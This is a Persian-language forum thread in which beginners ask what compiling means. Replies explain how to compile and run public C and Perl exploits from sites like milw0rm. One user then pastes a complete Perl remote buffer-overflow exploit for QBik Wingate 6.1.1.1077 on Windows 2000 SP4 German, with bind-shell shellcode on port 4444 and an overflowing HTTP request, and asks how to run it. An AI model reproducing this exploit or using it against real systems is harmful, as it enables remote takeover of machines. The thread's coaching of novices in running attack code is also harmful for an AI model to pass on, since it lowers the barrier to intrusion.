ايران ويج

نسخه‌ی کامل: کامپایل کردن چیه؟
شما در حال مشاهده‌ی نسخه‌ی متنی این صفحه می‌باشید. مشاهده‌ی نسخه‌ی کامل با قالب بندی مناسب.
کامپایل کردن چیه؟
اکسپلویتو باید چجوری کامپایل کنیم اصلا یعنی چیکارش کنیم؟Biggrin
این یه توضیح مختصر:
اکسپلویت برنامه ای هست که برای استفاده(یعنی سواستفاده!!!) از باگ خاصی نوشته میشه. مثلا یکی میاد یه باگ برا phpbb پیدا میکنه بعد این باگ شاید کافی نباشه یعنی نشه از باگ استفاده کرد حالا یکی میاد و برای این باگ برنامه مینویسه که اسمش میشه اکسپلویت .این توضیح مختصر اکسپلویت
اغلب این اکسپلویتها با زبانهای پرل و سی نوشته میشه(بخاطر قدرتشون در این زمینه) حالا اکسپلویتهایی که تو سایتهایی مثل milw0rm یا ... هستن به صورت .exe نیستن و بیشتر بصورت کد سی یا پرل(یا کمیشون html و ...) هستن .حالا برا اینکه شما بتونی از این کد سی یا پرل استفاده کنی باید اون رو بصورت فایل اجرایی تو ویندوز درآری. که c رو کامپایل میکنن و بصورت exe. در میارن و بعدش اجرا میکنن و ...(با برنامه هایی مثل lcc و cygwin در ویندوز و gcc در لینوکس)
اکسپلویتهای پرل هم میشه به صورت exe. درآورد (با perl 2 exe) و هم میشه با برنامه ای مثل active perl ازشون استفاده کرد که شما میای کد پرل رو تو با فرمت pl. سیو میکنی بعد اکتیوپرل بصورت خودکار فایلهای pl. رو برای شما قابل اجرا میکنه و از طریق cmd میتونی اجراش کنی.
کامپایل کردن یعنی عملیاتی که باعث ایجاد یه فایل اجرایی میشه یا به عبارت دیگه تبدیل کدهای اولیه به یه کد اجرایی
در مورد سوال دوم هم بستگی به زبان برنامه نویسی داره که اکسپلویت در اونجا نوشته شده
ما یه باگ پیدا میکنیم
واسه باگمونم یه اکسپلویت پیدا میکنیم به زبون cلازم هست که تو برنامش دست ببریم سورسشو تغیر بدیم؟
بعد چجوری ازش استفاده کنیم؟
گفتید از cmd
شما همینجوری که نمیتونی تو کد دستکاری کنی باید کمی مسلط به زبان برنامه نویسیش باشی . برای یه باگ اکسپلویت مخصوص اون باگ رو مینویسن پس برای باگی که پیدا میکنیم اکسپلویت مینویسیم یا یه اکسپلویت نویس برا باگ اکسپلویت مینویه و اکسپلویت پیدا کردنی نیست
بعد شما تو برنامه هایی مثل lcc که طرز کارش خیییلی آسونه و آموزشش خیلی جاها هست (گوگل بسرچید) بعد کامپایل با cmd اجراش میکنید و حالی به حولی
usage ش چیه تو cmd?
بستگی داره به اکسپلویتش .همشون یه جور کار نمیکنن که . تو خود هر اکسپلویت usage اون اکسپلویت نوشته شده و شما وقتی اجراش میکنی usage هم میبینی و طبق اون میتونی از اکسپلویت استفاده کنی
[/code][code]
### *** Proof of concept (not for "in the wild" kiddies) ***
### QBik Wingate version 6.1.1.1077 remote exploit for Win2k SP4 (german)
### by kcope in 2006
###
use IO::Socket;

if ($ARGV[0] eq "")
{
print "param1 = remote host";
exit;
}

# win32_bind - EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum http://metasploit.com
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e".
"\x4d\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x56\x4b\x58".
"\x4e\x46\x46\x32\x46\x52\x4b\x48\x45\x44\x4e\x33\x4b\x38\x4e\x47".
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x58\x4f\x54\x4a\x31\x4b\x58".
"\x4f\x35\x42\x32\x41\x30\x4b\x4e\x49\x44\x4b\x58\x46\x33\x4b\x48".
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c".
"\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x53\x46\x55\x46\x52\x4a\x32\x45\x57\x45\x4e\x4b\x58".
"\x4f\x35\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x50\x4b\x34".
"\x4b\x48\x4f\x45\x4e\x51\x41\x50\x4b\x4e\x43\x30\x4e\x52\x4b\x58".
"\x49\x48\x4e\x46\x46\x32\x4e\x31\x41\x36\x43\x4c\x41\x43\x4b\x4d".
"\x46\x56\x4b\x58\x43\x44\x42\x33\x4b\x58\x42\x34\x4e\x30\x4b\x48".
"\x42\x47\x4e\x31\x4d\x4a\x4b\x58\x42\x54\x4a\x30\x50\x35\x4a\x46".
"\x50\x38\x50\x34\x50\x50\x4e\x4e\x42\x35\x4f\x4f\x48\x4d\x48\x46".
"\x43\x35\x48\x56\x4a\x46\x43\x53\x44\x53\x4a\x46\x47\x47\x43\x47".
"\x44\x33\x4f\x55\x46\x55\x4f\x4f\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e".
"\x4e\x4f\x4b\x53\x42\x45\x4f\x4f\x48\x4d\x4f\x45\x49\x38\x45\x4e".
"\x48\x36\x41\x38\x4d\x4e\x4a\x50\x44\x30\x45\x55\x4c\x46\x44\x30".
"\x4f\x4f\x42\x4d\x4a\x46\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x45".
"\x4f\x4f\x48\x4d\x43\x55\x43\x35\x43\x35\x43\x55\x43\x35\x43\x44".
"\x43\x35\x43\x44\x43\x35\x4f\x4f\x42\x4d\x48\x56\x4a\x46\x41\x31".
"\x4e\x45\x48\x56\x43\x55\x49\x48\x41\x4e\x45\x59\x4a\x46\x46\x4a".
"\x4c\x41\x42\x37\x47\x4c\x47\x55\x4f\x4f\x48\x4d\x4c\x56\x42\x51".
"\x41\x55\x45\x35\x4f\x4f\x42\x4d\x4a\x56\x46\x4a\x4d\x4a\x50\x52".
"\x49\x4e\x47\x55\x4f\x4f\x48\x4d\x43\x55\x45\x45\x4f\x4f\x42\x4d".
"\x4a\x36\x45\x4e\x49\x54\x48\x48\x49\x54\x47\x35\x4f\x4f\x48\x4d".
"\x42\x35\x46\x35\x46\x55\x45\x55\x4f\x4f\x42\x4d\x43\x59\x4a\x46".
"\x47\x4e\x49\x57\x48\x4c\x49\x57\x47\x35\x4f\x4f\x48\x4d\x45\x45".
"\x4f\x4f\x42\x4d\x48\x46\x4c\x46\x46\x46\x48\x36\x4a\x56\x43\x46".
"\x4d\x46\x49\x38\x45\x4e\x4c\x56\x42\x55\x49\x35\x49\x52\x4e\x4c".
"\x49\x38\x47\x4e\x4c\x46\x46\x34\x49\x38\x44\x4e\x41\x43\x42\x4c".
"\x43\x4f\x4c\x4a\x50\x4f\x44\x34\x4d\x42\x50\x4f\x44\x54\x4e\x32".
"\x43\x39\x4d\x58\x4c\x47\x4a\x53\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x46".
"\x44\x47\x50\x4f\x43\x4b\x48\x41\x4f\x4f\x45\x47\x46\x54\x4f\x4f".
"\x48\x4d\x4b\x45\x47\x45\x44\x55\x41\x55\x41\x35\x41\x35\x4c\x56".
"\x41\x30\x41\x55\x41\x55\x45\x55\x41\x55\x4f\x4f\x42\x4d\x4a\x56".
"\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x45\x4f\x4f\x48\x4d\x4c\x36".
"\x4f\x4f\x4f\x4f\x47\x33\x4f\x4f\x42\x4d\x4b\x58\x47\x45\x4e\x4f".
"\x43\x58\x46\x4c\x46\x46\x4f\x4f\x48\x4d\x44\x35\x4f\x4f\x42\x4d".
"\x4a\x56\x42\x4f\x4c\x48\x46\x30\x4f\x35\x43\x35\x4f\x4f\x48\x4d".
"\x4f\x4f\x42\x4d\x5a";

$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => '80',
Proto => 'tcp');

$ret = "\x4b\x4f\x9e\x01"; # JMP ESI Win2k SP4 German
$x = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJ\xeb\x3dKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSAAAAUUUUVVVVWWWWXXXXYYYYZZZZ"
."AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJ\xeb\x3dKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSBBBBUUUUVVVVWWWWXXXXYYYYZZZZ"
."AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJ\xeb\x3dKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS".$ret."UUUUVVVVWWWWXXXXYYYYZZZZ"
."AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJ\xeb\x3dKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSDDDDUUUUVVVVWWWWXXXXYYYYZZZZ"
."AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJ\xeb\x3dKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSEEEEUUUUVVVVWWWWXXXXYYYYZZZZ";
$a = "A" x 2000 . $x . "\x90" x 100 . $shellcode;
print $sock "POST http://$a/ HTTP/1.0\r\n\r\n";


while (<$sock>) {
print;
}

# milw0rm.com [2006-06-07]

[code]
این یه اکسپلویت واسه پورت 80 هست
1 با چه زبونی نوشته شده که کامپایلش کنیم
2 usageش کجاست؟